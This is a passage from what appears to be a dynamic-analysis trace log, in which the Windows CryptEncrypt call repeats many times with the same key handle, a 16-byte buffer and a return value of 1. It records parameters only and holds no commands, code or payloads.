Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.477] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.477] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.477] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.477] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.477] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.477] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.477] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.477] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.477] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.477] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.477] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.477] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.477] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.477] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.477] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.477] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.477] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.477] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.477] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.478] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.478] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.478] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.478] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.478] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.478] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.478] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.478] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.478] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.478] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.478] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.478] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.478] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.478] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.478] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.478] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.478] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.478] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.478] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.478] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.478] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.479] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.479] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.479] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.479] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.479] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.479] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.479] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.479] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.479] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.479] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.479] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.479] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.479] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.479] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.479] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.479] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.479] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.479] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.479] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.479] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.479] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.480] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.480] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.480] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.480] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.480] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.480] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.480] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.480] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.480] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.480] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.480] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.480] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.480] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.480] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.480] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.480] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.480] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.480] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.480] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.480] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.480] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.481] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.481] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.481] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.481] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.481] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.481] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.481] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.481] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.481] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.481] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.481] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.481] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.481] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.481] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.481] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.481] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.481] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.481] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.481] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.481] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.481] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.482] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.482] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.482] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.482] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, 